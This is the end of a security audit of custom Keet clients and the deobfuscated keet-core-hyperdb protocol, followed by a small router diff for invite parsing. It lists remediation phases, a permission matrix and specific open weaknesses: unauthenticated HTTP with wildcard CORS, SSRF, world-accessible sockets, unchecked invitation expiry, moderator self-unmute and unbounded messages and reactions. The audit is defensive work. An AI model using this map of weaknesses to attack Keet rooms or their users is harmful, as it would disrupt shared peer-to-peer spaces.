448| 8 | Add request body size limit (1MB) | D-F8, G-F6 | 15 min |
449| 9 | Gate `introspect` and `shutdown` behind auth/debug | D-F7, D-F9 | 30 min |
450| 10 | Move UDS socket and PID file to user directory | D-F6, D-F11, G-F4, G-F12 | 30 min |
451| 11 | Add binary hash verification for Godot extraction | G-F5 | 2 hours |
452
453### Phase 3: PROTOCOL HARDENING (Coordinate with Holepunch Team)
454
455| # | Fix | Components | Effort |
456|---|-----|------------|--------|
457| 12 | Wrap apply dispatch in broader try/catch (non-fatal for all errors) | P-F1 | Low |
458| 13 | Add per-writer operation rate limiting in apply | P-F2 | Medium |
459| 14 | Add maxLength/maxItems to hyperschema string/array fields | P-F3 | Medium |
460| 15 | Add per-message reaction/label limits | P-F7, P-F15 | Low |
461| 16 | Check invitation expiration in addDeviceWithInvitation | P-F9 | Low |
462| 17 | Revoke invitations on member removal | P-F12 | Medium |
463
464### Phase 4: HARDENING (Regular Development)
465
466| # | Fix | Components | Effort |
467|---|-----|------------|--------|
468| 18 | Prevent moderator self-unmute | P-F4 | Low |
469| 19 | Validate settings enum values | P-F5 | Low |
470| 20 | Validate timestamp ranges | P-F6 | Low |
471| 21 | Escape all peer data in BBCode rendering | G-F13 | Low |
472| 22 | Cap displayed messages in Godot chat | G-F11 | Low |
473| 23 | Use random video temp filenames | G-F10 | Low |
474| 24 | Sanitize Godot subprocess environment | G-F15 | Low |
475| 25 | Remove silent push content (use content-available) | P-F10 | Medium |
476| 26 | Remove test handler from production | P-F13 | Low |
477
478---
479
480## Protocol Permission Model (Verified)
481
482The following represents the fully verified permission model from 161 deobfuscated files:
483
484### Permission Matrix
485
486| Operation | Who Can Execute | Verification |
487|-----------|----------------|--------------|
488| `@keet/genesis` | First writer only | Autobase genesis flag (not forgeable) |
489| `@keet/add-device` | Invitation holder | Ed25519 signature + invitation lookup |
490| `@keet/change-member-role` | Admin only | `getMemberForDeviceKey` → `isAdmin` |
491| `@keet/change-member-status` | Moderator+ | `getMemberForDeviceKey` → `isModerator` |
492| `@keet/remove-member` | Admin only | `getMemberForDeviceKey` → `isAdmin` |
493| `@keet/add-chat-message` | Active, unmuted member | `isMemberActive` + `!isMuted` |
494| `@keet/update-chat-message` | Message author only | SELF_ONLY check |
495| `@keet/remove-chat-message` | Author or moderator | SELF_OR_MODERATOR check |
496| `@keet/update-room-config` | Moderator+ | `isModerator` check |
497| `@keet/update-system-settings` | Moderator+ | `isModerator` check |
498| `@keet/add-invitation` | Active member | `isMemberActive` |
499| `@keet/add-reaction` | Active, unmuted member | `isMemberActive` + `!isMuted` |
500
501### How Permission Checking Works
502
503Every handler follows this pattern:
504```javascript
505async function handleXxx(payload, {db, writer}) {
506 const member = await getMemberForDeviceKey(db, writer.key); // Maps Hypercore pubkey → member
507 if (!isMemberActive(member)) throw KeetContractError.INACTIVE_MEMBER();
508 if (member.status.isMuted) throw KeetContractError.WRITER_IS_MUTED();
509 // Role-specific checks...
510 if (!member.status.isAdmin) throw KeetContractError.ADMINS_ONLY();
511}
512```
513
514- `writer.key` comes from Autobase (the Hypercore public key that authored the entry)
515- `getMemberForDeviceKey` does a DB lookup in `@keet/devices` → `@keet/members`
516- No handler skips this pattern (verified across all 55+ route handlers)
517- Genesis handler has special bootstrap (creates first member without prior lookup)
518
519---
520
521## Detailed Protocol Findings
522
523### HyperDB Schema (30+ Collections)
524
525| Collection | Purpose | Security Notes |
526|------------|---------|----------------|
527| `@keet/members` | Member records | Role flags (isAdmin, isModerator, isMuted) |
528| `@keet/devices` | Device registry | Maps device keys to member keys |
529| `@keet/chat` | Chat messages | No maxLength on text field |
530| `@keet/reactions` | Emoji reactions | No per-message limit |
531| `@keet/invitations` | Room invitations | No expiration check in handler |
532| `@keet/system-digest` | Room settings | roomType field affects permission model |
533| `@keet/threads` | Thread metadata | Stats counters (chat, reactions, labels) |
534| `@keet/join-requests` | Pending joins | Dedup on deviceKey |
535| `@keet/tmp-removed-members` | Removed members | Tracking for cleanup |
536| `@keet-private-id/identity` | Local identity | Separate Autobase (private) |
537
538### Error Types (17 KeetContractError Types)
539
540```
541ABORT, INACTIVE_MEMBER, WRITER_IS_MUTED, ADMINS_ONLY,
542MODERATORS_ONLY, MODERATORS_OR_SELF_ONLY, SELF_ONLY,
543TARGET_MEMBER_NOT_FOUND, TARGET_ADMIN, INVALID_MEMBER_STATUS,
544INVALID_ROLE, CONFIG_UPDATE_MODERATOR_ONLY, DEVICE_ALREADY_EXISTS,
545MEMBER_ALREADY_EXISTS, MAX_ADMIN_REACHED, INVALID_OPERATION,
546GENESIS_ONLY
547```
548
549All are caught gracefully in the apply loop. Only non-KeetContractError exceptions cause fatal behavior (P-F1).
550
551---
552
553## Tools and Artifacts
554
555### Created During This Audit
556
557| File | Purpose |
558|------|---------|
559| `tools/deobfuscate.cjs` | Universal deobfuscator (VM sandbox, handles all 161 files) |
560| `deobfuscated/` | All 161 deobfuscated keet-core-hyperdb JS files |
561| `DEOBFUSCATED.md` | Annotated reference — exports, permissions, collections, errors |
562| `PROTOCOL_AUDIT.md` | Protocol-layer findings (18 findings, MITRE ATT&CK mapped) |
563| `SECURITY_AUDIT.md` | Original incremental audit (3 rounds) |
564| `SECURITY_AUDIT_V2.md` | This document — comprehensive combined audit |
565
566### Deobfuscation Statistics
567
568- **161 files** deobfuscated (65 in lib/ + 4 root)
569- **39,766 strings** resolved via VM sandbox
570- **0 control flow flattening** — only string table rotation + variable renaming
571- Identical obfuscator.io pattern across all files
572- Universal base decoder handles all files
573
574---
575
576## Appendix: Key Source Files
577
578### Our Code (keet-daemon)
579| File | Purpose | Critical Findings |
580|------|---------|-------------------|
581| `lib/router.js` | 835 lines, ~90 methods | D-F3 (`raw`), D-F4 (recovery), D-F7 (shutdown), D-F9 (introspect) |
582| `lib/http-transport.js` | HTTP server | D-F1 (no auth), D-F2 (CORS *), D-F5 (binding), D-F8 (body size) |
583| `lib/uds-transport.js` | Unix socket | D-F6 (world-accessible) |
584| `daemon.js` | Entry point | D-F11 (PID in /tmp) |
585
586### Our Code (godot-keet)
587| File | Purpose | Critical Findings |
588|------|---------|-------------------|
589| `daemon/lib/http-transport.js` | HTTP + proxy | G-F1 (SSRF), G-F2 (0.0.0.0), G-F6 (body), G-F8 (CORS) |
590| `daemon/lib/router.js` | RPC routes | G-F3 (`raw`), G-F16 (recovery) |
591| `daemon/lib/uds-transport.js` | Unix socket | G-F4 (world-accessible) |
592| `index.js` | Launcher | G-F5 (no hash), G-F15 (env), G-F17 (TOCTOU) |
593| `scripts/chat_panel.gd` | Chat UI | G-F11 (no rate limit), G-F13 (BBCode) |
594| `scripts/media_viewer.gd` | Media viewer | G-F10 (predictable path) |
595
596### keet-core-hyperdb (deobfuscated)
597| File | Purpose | Critical Findings |
598|------|---------|-------------------|
599| `deobfuscated/index.js` | Main apply function | P-F1 (crash propagation), P-F2 (no rate limit) |
600| `deobfuscated/contract/chat.js` | Chat handler | P-F3 (unbounded text), P-F11 (display injection) |
601| `deobfuscated/contract/members/index.js` | Members handler | P-F4 (self-unmute), P-F9 (invitation expiry), P-F12 (invite persist) |
602| `deobfuscated/contract/internal.js` | System settings | P-F5 (settings injection), P-F16 (silent failure) |
603| `deobfuscated/contract/reactions.js` | Reactions | P-F7 (flooding) |
604| `deobfuscated/contract/config.js` | Room config | P-F8 (constants) |
605| `deobfuscated/lib/invitations/index.js` | Invitations | P-F14 (seed security) |
606| `deobfuscated/lib/swarm/firewall.js` | Swarm firewall | P-F18 (race condition) |
607| `deobfuscated/push.js` | Push notifications | P-F10 (content leak) |
608
609---
610
611## Context
612
613This audit was prompted by a conversation with Le Jeune Renard (Holepunch team member)
614on 2026-02-17 who warned:
615
616> "Definitely don't test it in public rooms or imho with your own identity etc.
617> if you break something then it would be a lot of people affected."
618
619> "It's not necessarily [fragile] but if you might find a bug that happens to be bad."
620
621This confirms the team is aware that custom clients could expose protocol-level issues,
622and that the safety model relies at least partially on client-side enforcement.
623
624The deobfuscation and audit were performed for **defensive security purposes** — to ensure
625our custom clients (keet-daemon, godot-keet) don't harm other peers, and to identify
626and fix vulnerabilities in our own code. This is the open source way.
627
628---
629
630**End of audit. 44 findings, 3 components, full MITRE ATT&CK mapping.**
lib/router.js +11 -11
……@@ -174,23 +174,23 @@ export class Router {
174174
175175 async _roomJoin (params) {
176176 if (!params.invite) throw new Error('Missing required param: invite')
177 const invite = params.invite
178 const isLink = invite.includes('://')
177 let invite = params.invite.trim()
178
179 // Strip pear://keet/ or punch:// prefixes — keet-core expects raw invite token
180 if (invite.startsWith('pear://keet/')) invite = invite.slice('pear://keet/'.length)
181 else if (invite.startsWith('punch://')) invite = invite.slice('punch://'.length)
179182
180183 try {
181 if (isLink) {
182 const result = await this.backend.api.core.startPairingRoom(invite)
183 return { status: 'pairing', ...(result || {}) }
184 } else {
185 const result = await this.backend.api.core.pairRoom(invite)
186 return { status: 'joined', ...(result || {}) }
187 }
184 const result = await this.backend.api.core.startPairingRoom(invite)
185 return { status: 'pairing', ...(result || {}) }
188186 } catch (err) {
189 if (isLink) {
187 // Fallback to pairRoom if startPairingRoom fails
188 try {
190189 const result = await this.backend.api.core.pairRoom(invite)
191190 return { status: 'joined', ...(result || {}) }
191 } catch {
192 throw err
192193 }
193 throw err
194194 }
195195 }
196196